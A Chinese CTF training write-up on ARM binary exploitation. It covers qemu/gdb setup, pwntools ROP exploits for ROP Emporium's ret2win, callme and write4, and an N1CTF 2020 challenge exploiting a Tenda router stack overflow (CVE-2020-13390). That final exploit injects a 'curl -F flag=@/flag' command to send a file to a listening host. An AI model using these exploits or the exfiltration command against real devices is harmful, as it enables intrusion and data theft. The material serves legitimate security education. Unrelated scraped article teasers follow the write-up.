2022CTF培训(八)ARM PWN 环境搭建ARM PWN 入门

news2025/1/21 9:43:25

附件下载链接

环境搭建

QEMU

qemu是一款可执行硬件虚拟化的虚拟机,与他类似的还有Bochs、PearPC,
但qemu具有高速(配合KVM)、跨平台的特性
qemu主要有两种运行模式:qemu-userqemu-system

qemu-system 可以进行完整的系统仿真,而 qemu-user 只提供用户态仿真。

  • 安装 qemu-user

    sudo apt-get install qemu qemu-user qemu-user-static
    

    此时可以运行静态链接的arm程序,而要运行动态链接的程序,需要安装对
    应架构的动态链接库:

    apt search "libc6-" | grep "arm“
    

    现在已经可以正常运行 arm 程序了。
    在这里插入图片描述
    创建 qemu-binfmt,这样 linux 可以根据文件头找相应的程序运行

    sudo mkdir /etc/qemu-binfmt
    sudo ln -s /usr/arm-linux-gnueabi /etc/qemu-binfmt/arm
    

    现在可以直接运行 arm 程序了。
    在这里插入图片描述

gdb

需要下载 gdb-multiarch

sudo apt-get install gdb-multiarch

用户程序调试

启动程序,设定调试端口为 1234

qemu-arm -g 1234 ret2win_armv5

gdb 加载程序

gdb-multiarch ret2win_armv5

监听调试端口

target remote localhost:1234

成功附加到调试进程
在这里插入图片描述

ret2win

函数逻辑如下:

int pwnme()
{
  char buf[36]; // [sp+0h] [bp-24h] BYREF

  memset(buf, 0, 32u);
  puts("For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!");
  puts("What could possibly go wrong?");
  puts("You there, may I have your input please? And don't worry about null bytes, we're using read()!\n");
  printf("> ");
  read(0, buf, 56u);                            // stack overflow
  return puts("Thank you!");
}

存在栈溢出
在这里插入图片描述
0x000105EC 后门函数

int ret2win()
{
  puts("Well done! Here's your flag:");
  return system("/bin/cat flag.txt");
}

exp:

from pwn import *

context(arch='arm', os='linux')
context.log_level = 'debug'
p = process(["qemu-arm", "-g", "1234", "./ret2win_armv5"])

if __name__ == '__main__':
    pause()
    payload = "a" * 0x24 + p32(0x000105EC)
    p.sendafter('>', payload)
    p.interactive()

其中 pause() 函数可以暂停脚本,这样就可以用 gdb 附加调试程序。
在这里插入图片描述
可以看到返回地址以及被修改。
在这里插入图片描述

callme

栈溢出

int pwnme()
{
  char s[36]; // [sp+0h] [bp-24h] BYREF

  memset(s, 0, 0x20u);
  puts("Hope you read the instructions...\n");
  printf("> ");
  read(0, s, 0x200u);                           // stack overflow
  return puts("Thank you!");
}

usefulFunction 提示了 3 个函数

void __noreturn usefulFunction()
{
  callme_three(4, 5, 6);
  callme_two(4, 5, 6);
  callme_one(4, 5, 6);
  exit(1);
}

3 个函数位于动态链接库 libcallme_armv5.so 中,依次调用三个函数并且传入正确参数则解密并打印 flag 。

int __fastcall callme_one(int a1, int a2, int a3)
{
  FILE *stream; // [sp+14h] [bp-8h]

  if ( a1 != 0xDEADBEEF || a2 != 0xCAFEBABE || a3 != 0xD00DF00D )
  {
    puts("Incorrect parameters");
    exit(1);
  }
  stream = fopen("encrypted_flag.dat", "r");
  if ( !stream )
  {
    puts("Failed to open encrypted_flag.dat");
    exit(1);
  }
  encry_flag_data = (int)malloc(0x21u);
  if ( !encry_flag_data )
  {
    puts("Could not allocate memory");
    exit(1);
  }
  encry_flag_data = (int)fgets((char *)encry_flag_data, 33, stream);
  fclose(stream);
  return puts("callme_one() called correctly");
}

int __fastcall callme_two(int a1, int a2, int a3)
{
  int i; // [sp+10h] [bp-Ch]
  FILE *stream; // [sp+14h] [bp-8h]

  if ( a1 != 0xDEADBEEF || a2 != 0xCAFEBABE || a3 != 0xD00DF00D )
  {
    puts("Incorrect parameters");
    exit(1);
  }
  stream = fopen("key1.dat", "r");
  if ( !stream )
  {
    puts("Failed to open key1.dat");
    exit(1);
  }
  for ( i = 0; i <= 15; ++i )
    *(_BYTE *)(encry_flag_data + i) ^= fgetc(stream);
  return puts("callme_two() called correctly");
}

void __fastcall __noreturn callme_three(int a1, int a2, int a3)
{
  int i; // [sp+10h] [bp-Ch]
  FILE *stream; // [sp+14h] [bp-8h]

  if ( a1 == 0xDEADBEEF && a2 == 0xCAFEBABE && a3 == 0xD00DF00D )
  {
    stream = fopen("key2.dat", "r");
    if ( !stream )
    {
      puts("Failed to open key2.dat");
      exit(1);
    }
    for ( i = 16; i <= 31; ++i )
      *(_BYTE *)(encry_flag_data + i) ^= fgetc(stream);
    *(_DWORD *)(encry_flag_data + 4) ^= 0xDEADBEEF;
    *(_DWORD *)(encry_flag_data + 8) ^= 0xDEADBEEF;
    *(_DWORD *)(encry_flag_data + 12) ^= 0xCAFEBABE;
    *(_DWORD *)(encry_flag_data + 16) ^= 0xCAFEBABE;
    *(_DWORD *)(encry_flag_data + 20) ^= 0xD00DF00D;
    *(_DWORD *)(encry_flag_data + 24) ^= 0xD00DF00D;
    puts((const char *)encry_flag_data);
    exit(0);
  }
  puts("Incorrect parameters");
  exit(1);
}

由于 3 个函数都需要 3 个参数,根据 ARM 的函数调用约定,需要给 R0,R1,R2 赋值的 gadget 。

使用 ROPgadget 搜索合适的 gadget:

ROPgadget --binary "./callme_armv5" | grep "pop" | grep "r0" | grep "r1" | grep "r2"

在这里插入图片描述
根据 ARM 的函数调用约定,LR 寄存器存储返回地址,因此这条 gadget 中的 PC 决定 下一个函数的地址,而 LR 决定下一个函数的返回地址。

exp 如下:

from pwn import *

context(arch='arm', os='linux')
context.log_level = 'debug'
# p = remote()
p = process(["qemu-arm", "./callme_armv5"])
# p = process(["qemu-arm", "-g", "1234", "./callme_armv5"])
elf = ELF("./callme_armv5")
pop_r0_r1_r2_lr = 0x00010870  # 0x00010870 : pop {r0, r1, r2, lr, pc}


def callme(addr, arg1, arg2, arg3):
    payload = b""
    payload += p32(arg1)
    payload += p32(arg2)
    payload += p32(arg3)
    payload += p32(pop_r0_r1_r2_lr)
    payload += p32(addr)
    return payload


if __name__ == '__main__':
    payload = b"a" * 36
    payload += p32(pop_r0_r1_r2_lr)
    payload += callme(elf.plt["callme_one"], 0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)
    payload += callme(elf.plt["callme_two"], 0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)
    payload += callme(elf.plt["callme_three"], 0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)
    p.sendafter(b">", payload)
    p.interactive()

注意,不能通过从 gadget 返回这 3 个地址来调用目标函数,因为这里的跳转指令为 BL,会修改 LR 寄存器导致函数的返回地址错误。
在这里插入图片描述

write4

观察 main 函数,发现主要函数在 libwrite4_armv5.so 中。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  pwnme(argc, (int)argv, (int)envp);
  return 0;
}

pwnme 函数是栈溢出。

int pwnme()
{
  char buf[36]; // [sp+0h] [bp-24h] BYREF

  setvbuf(stdout, 0, 2, 0);
  puts("write4 by ROP Emporium");
  puts("ARMv5\n");
  memset(buf, 0, 32u);
  puts("Go ahead and give me the input already!\n");
  printf("> ");
  read(0, buf, 0x200u);                         // bof
  return puts("Thank you!");
}

print 函数可以打印参数指定的文件内容

int __fastcall print_file(const char *a1)
{
  char s[36]; // [sp+8h] [bp-2Ch] BYREF
  FILE *stream; // [sp+2Ch] [bp-8h]

  stream = fopen(a1, "r");
  if ( !stream )
  {
    printf("Failed to open file: %s\n", a1);
    exit(1);
  }
  fgets(s, 33, stream);
  puts(s);
  return fclose(stream);
}

由于 print_file 函数需要指定参数,因此需要使用 STR 指令向某一地址写入文件名并将该地址作为参数传入 print_file。

因为只有 write4_armv5 未地址随机化,所以只能用 write_armv5 的 gadget 。
在这里插入图片描述
利用 ROPgadget 搜索合适的 gadget

ROPgadget --binary "./write4_armv5" | grep "str"

找到一条合适的 gedget,这条 gadget 不仅可以往指定地址写数据,并且可以利用后半段设置寄存器的值。
发现

exp 如下:

from pwn import *

context(arch='arm', os='linux')
context.log_level = 'debug'
p = process(["qemu-arm", "./write4_armv5"])
# p = process(["qemu-arm", "-g", "1234", "./write4_armv5"])
elf = ELF("./write4_armv5")

str_r3_r4_pop_r3_r4_pc = 0x000105EC
pop_r3_r4_pc = 0x000105F0
pop_r0_pc = 0x000105F4
file_name_addr = 0x0002102C

if __name__ == '__main__':
    payload = ""
    payload += 36 * "a"
    payload += p32(pop_r3_r4_pc)
    payload += "flag"
    payload += p32(file_name_addr)
    payload += p32(str_r3_r4_pop_r3_r4_pc)
    payload += ".txt"
    payload += p32(file_name_addr + 4)
    payload += p32(str_r3_r4_pop_r3_r4_pc)
    payload += p32(0)
    payload += p32(0)
    payload += p32(pop_r0_pc)
    payload += p32(file_name_addr)
    payload += p32(elf.plt["print_file"])
    # pause()
    p.sendafter(">", payload)
    p.interactive()

n1ctf-2020 babyrouter

环境搭建

build.sh 是用来创建 docker 镜像的,内容如下:

docker build -t router .

而 docker 镜像是根据配置文件 DockerFile 来创建的,分析 DockerFile 可知首先是拉取一个 Ubuntu16.04 的镜像并安装了相关的软件,由于安装了文件传输工具 curl ,因此可以考虑通过利用漏洞执行 curl 命令来将 flag 文件下载下来。之后 DockerFile 将需要用到的文件复制到根目录下,最后运行 /start.sh 命令。start.sh 应该是初始化脚本。

FROM ubuntu:16.04

RUN apt-get update && apt-get -y dist-upgrade 
RUN apt-get install -y bridge-utils

RUN apt-get install -y net-tools
RUN apt-get install -y iproute2
RUN apt-get install -y qemu-user
RUN apt-get install -y wget
RUN apt-get install -y curl
RUN apt-get install -y nginx

RUN rm /etc/nginx/sites-enabled/*
RUN rm /etc/nginx/nginx.conf

COPY ./nginx.conf /etc/nginx/nginx.conf
COPY ./start.sh /start.sh
COPY ./pwn /pwn
COPY flag /flag

CMD ["/start.sh"]

start.sh 内容如下,主要作用是用 qemu-arm 启动 httpd 。

#!/bin/sh
# Add your startup script

brctl addbr br0
ifconfig br0 10.10.10.10 up

service nginx start
nginx -t
nginx -s reload

PRO_NAME=qemu-arm
while true ; do
  NUM=`ps aux | grep ${PRO_NAME} | grep -v grep |wc -l`
  if [ "${NUM}" -lt "1" ];then
    echo "${PRO_NAME} was killed"
    ${PRO_NAME} -L /pwn /pwn/httpd >> /tmp/qemu.txt&
    rm /qemu_httpd*
    rm /tmp/core-qemu*
  fi
done

最后时 run.sh :

docker run -d -p "0.0.0.0:2333:9999" --restart=always --privileged --name=router router

在运行完 build.sh 创建镜像后就可以运行 run.sh 启动镜像。并且将镜像的 9999 端口映射到本机的 2333 端口,由此可知 httpd 启动的 web 服务端口为 9999 。

去过想使用 gdb 调试,可以将 start.sh 中的

${PRO_NAME} -L /pwn /pwn/httpd >> /tmp/qemu.txt&

修改为下面这样

${PRO_NAME} -g 1234 -L /pwn /pwn/httpd >> /tmp/qemu.txt&

然后将 run.sh 中的 -p "0.0.0.0:2333:9999" 替换为 --net=host 从而将 docker 镜像的所有端口映射到本机。

漏洞利用

由于文件中存在 Tenda 关键字,可以判断出是 Tenda 路由器的固件。
搜索 Tenda 路由器的固件漏洞可以找到 CVE-2020-13390 的 POC 。

是一个简单的栈溢出:
在这里插入图片描述
不过存在 \0 截断,而代码段地址填不满 4 字节,因此最后只能 retn 一个 gadget ,这个 gadget 必须要同时具有传参和调用命令两个功能。

观察函数末尾可以发现,这里的栈溢出除了可以控制 PC 寄存器外还可以控制 R4 和 R11 两个寄存器。

.text:00079A7C                 POP             {R4,R11,PC}

而 0x0006B154 处的 gadget 恰好可以用 R11 传参。

.text:0006B154                 LDR             R0, [R11,#-0x10] ; void *
.text:0006B158                 LDR             R1, [R11,#-0x14] ; void *
.text:0006B15C                 MOV             R2, #0x1000 ; void *
.text:0006B160                 BL              doShell

通过调试发现 doShell 可以将第一个参数指向的字符串作为参数执行,因此不难构造出如下 ROP :
在这里插入图片描述
之后的问题是如何使 httpd 执行到该漏洞点,观察 CVE-2020-13390 的 POC 发现该 POC 是通过访问 /goform/addressNat 这个网址来触发漏洞的。
在这里插入图片描述
最后的问题是通过执行什么命令来得到 flag 。
前面提到 docker 镜像中安装了 curl ,因此可以通过 curl -F 命令将文件传回来。

exp 如下:

import requests
from pwn import *

rop = ''
rop += p32(0xF6FFF9EC + 4)
rop += 'curl -F flag=@/flag 127.0.0.1:1313;'
rop = rop.ljust(240, 'A')
rop += p32(0xFFFFFFFF)  # r4
rop += p32(0xF6FFF9EC + 16)  # r11
rop += p32(0x0006B154)  # pc

# .text:0006B154                 LDR             R0, [R11,#-16]
# .text:0006B158                 LDR             R1, [R11,#-20]
# .text:0006B15C                 MOV             R2, #0x1000
# .text:0006B160                 BL              doShell

data = {
    'entrys': 'sky123',
    'mitInterface': 'sky123',
    'page': rop
}

cookie = {'Cookie': 'password=sky123'}

r = requests.post('http://127.0.0.1:9999/goform/addressNat', data=data, cookies=cookie)

启动镜像并运行 exp 然后用 gdb 调试。观察执行完 sprintf 后的栈,发现关键位置都被覆盖了正确的数据。
在这里插入图片描述
执行完 fromAddressNat 后成功跳转到 gadget ,并且 doShell 传入了正确的参数。
在这里插入图片描述
用 nc 监听 1313 端口然后继续执行,flag 被成功传回。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/92770.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[附源码]Python计算机毕业设计高校互联网班级管理系统Django(程序+LW)

该项目含有源码、文档、程序、数据库、配套开发软件、软件安装教程 项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等…

[附源码]Nodejs计算机毕业设计基于的开放式实验室预约系统Express(程序+LW)

该项目含有源码、文档、程序、数据库、配套开发软件、软件安装教程。欢迎交流 项目运行 环境配置&#xff1a; Node.js Vscode Mysql5.7 HBuilderXNavicat11VueExpress。 项目技术&#xff1a; Express框架 Node.js Vue 等等组成&#xff0c;B/S模式 Vscode管理前后端分…

k8s编程operator实战之云编码平台——④web后端实现

文章目录1、简介1.1 目录结构1.2 开发模式2、数据库设计2.1 user表2.2 space_template和space_kind表2.3 space和spacespec表3、gRPC客户端4、数据库访问4.1 mysql4.2 redis5、缓存加载5.1 通用缓存5.2 数据加载6、功能开发6.1 用户登录6.2 获取所有模板6.3 创建工作空间6.4 创…

如何进行C++动态转换

&#x1f4d2;博客主页&#xff1a; ​​开心档博客主页​​ &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐留言&#x1f4dd; &#x1f4cc;本文由开心档原创&#xff01; &#x1f4c6;51CTO首发时间&#xff1a;&#x1f334;2022年12月12日&#x1f334; ✉…

如何评价「仙剑奇侠传六」使用Unity 3D引擎?

2022年看到问题&#xff0c;根据2022年Unity3D、Unreal Engine及仙剑六来一波“穿越马后炮式”回答。 1&#xff1a; 2022年看到问题&#xff0c;根据2022年Unity3D、Unreal Engine及仙剑六来一波“穿越马后炮式”回答。 1&#xff1a; 仙剑奇侠传六确为unity引擎制作&#…

大学生简单静态HTML网页模板源码——家乡介绍美丽乡村11页

家乡旅游景点网页作业制作 网页代码运用了DIV盒子的使用方法&#xff0c;如盒子的嵌套、浮动、margin、border、background等属性的使用&#xff0c;外部大盒子设定居中&#xff0c;内部左中右布局&#xff0c;下方横向浮动排列&#xff0c;大学学习的前端知识点和布局方式都有…

【leetcode】将有序数组转换为二叉搜索树

一、题目描述 给你一个整数数组 nums &#xff0c;其中元素已经按 升序 排列&#xff0c;请你将其转换为一棵 高度平衡 二叉搜索树。 高度平衡 二叉树是一棵满足「每个节点的左右两个子树的高度差的绝对值不超过 1 」的二叉树。 示例 1&#xff1a; 输入&#xff1a;nums …

微信对接chatGPT,实现自动回复消息、在线答疑等功能

前言 近来chatGPT挺火的&#xff0c;也试玩了一下&#xff0c;确实挺有意思。这里记录一下在在微信中也可以使用chatGPT&#xff0c;顺带可以自动回复微信消息、实时答疑等。。。 上一篇文章回顾&#xff1a;https://frica.blog.csdn.net/article/details/128316712 本文章在u…

Spark3.3.0的DataFrame及Spark SQL编程的性能对比【单机模式下】

Spark3.3.0的DataFrame及Spark SQL编程的性能对比【单机模式下】 前言 Spark3.3.0较老早的2.4.0有极大的性能优化&#xff0c;尤其是对SQL做了大量的优化【数据倾斜等】&#xff0c;恰好近期遇到一些性能问题&#xff0c;特意写个Demo测试下DataFrame和Spark SQL在获取到相同…

c#入门-接口的抽象成员和虚成员

接口的抽象成员 接口的成员如果不指定主体&#xff0c;那么就是抽象成员。 你可以主动为他们加抽象修饰符&#xff0c;不过没什么用。 interface I属性 {public abstract int Hp { get; set; }public abstract int Mp { get; set; } }接口的虚成员 接口的成员可以指定主体。…

Jina 开箱即用的云原生多模态系统解决方案

Jina 是一个基于云原生的多模态应用框架&#xff0c;开发者使用 Jina 可以轻松构建、部署和维护高性能的云原生应用。你可能认为这些都只是空泛的营销口号&#xff0c;甚至产生疑问&#xff0c;到底什么是云原生&#xff1f;对构建多模态应用有什么帮助&#xff1f;它是否只是 …

Linux CentoOs7中用命令打开并修改文本文件

概述&#xff1a;VI/VIM VI 是 Unix 操作系统和类 Unix 操作系统中最通用的**文本编辑器**。 VIM 编辑器是从 VI 发展出来的一个性能更强大的**文本编辑器**。可以主动的以字体颜色辨别语法的正确性&#xff0c;方便程序设计。VIM 与 VI 编辑器完全兼容。 我们常常用vim命令…

C#语言实例源码系列-实现热键屏幕和设置热键

专栏分享点击跳转>Unity3D特效百例点击跳转>案例项目实战源码点击跳转>游戏脚本-辅助自动化点击跳转>Android控件全解手册 &#x1f449;关于作者 众所周知&#xff0c;人生是一个漫长的流程&#xff0c;不断克服困难&#xff0c;不断反思前进的过程。在这个过程中…

C++ 初阶 文件操作和io流

作者&#xff1a;小萌新 专栏&#xff1a;C初阶 作者简介&#xff1a;大二学生 希望能和大家一起进步&#xff01; 本篇博客简介&#xff1a;简单介绍C中的文件操作和io流 文件操作和io流C语言中的输入和输出流是什么&#xff1f;Cio流C标准io流C中流的特性C文件io流以二进制形…

Jenkins全局安全配置

文章目录一、进入全局安全设置页面二、各选项功能Disable remember me&#xff08;禁用记住我&#xff09;Security Realm(安全域)Delegate to servlet container&#xff08;servlet 容器代理&#xff09;Jenkins’ own user database&#xff08;Jenkins 专有用户数据库&…

Pr:导出页面之预览与摘要窗口

使用“预览”窗口&#xff0c;可在导出前预览媒体&#xff0c;设置自定义的持续时间&#xff0c;如果导出为不同的帧大小&#xff0c;还可以控制源视频适应输出帧的方式。使用“摘要”窗口&#xff0c;可以快速查看源及输出的音视频信息。◆ ◆ ◆预览窗口范围Range可自定义导…

居家办公如何避免数据泄露?

随着疫情管控政策的调整&#xff0c;越来越多的“小阳人”出现&#xff0c;企业不得不面对员工在家远程办公。 面对突如其来的远程办公&#xff0c;很多企业都没有做好准备&#xff0c;甚至采取微信、QQ、互联网邮箱、远程会议等方式传递秘密信息。但是&#xff0c;这样的居家…

ChatGpt详细注册流程

ChatGpt详细注册流程ChatGpt的网址&#xff1a;直接点击我 点击链接后向下滑动看到TRY CHATGPT如下图所示&#xff1a; 点击TRY CHATGPT后会跳转如下图界面&#xff1a; 点击Log in(登录)如下图&#xff1a; 因为首次登录你肯定是没有账号的所以需要先点击红框框出的Sign up…

QQ注册界面仿写(HTML+CSS+JS)

✅作者简介&#xff1a;热爱国学的Java后端开发者&#xff0c;修心和技术同步精进。 &#x1f34e;个人主页&#xff1a;Java Fans的博客 &#x1f34a;个人信条&#xff1a;不迁怒&#xff0c;不贰过。小知识&#xff0c;大智慧。 &#x1f49e;当前专栏&#xff1a;前端案例分…

整合当地商圈资源,异业联盟打出促消费花式组合拳

如今的市场竞争白热化&#xff0c;大商家逐渐形成垄断的格局。许多行业的第一品牌跟第二品牌主宰着市场&#xff0c;为了打破这种局面&#xff0c;小商家联合起来对抗大商家&#xff0c;所以异业联盟因此诞生。那么建立异业联盟对大家有什么好处呢&#xff1f; 异业联盟针对于商…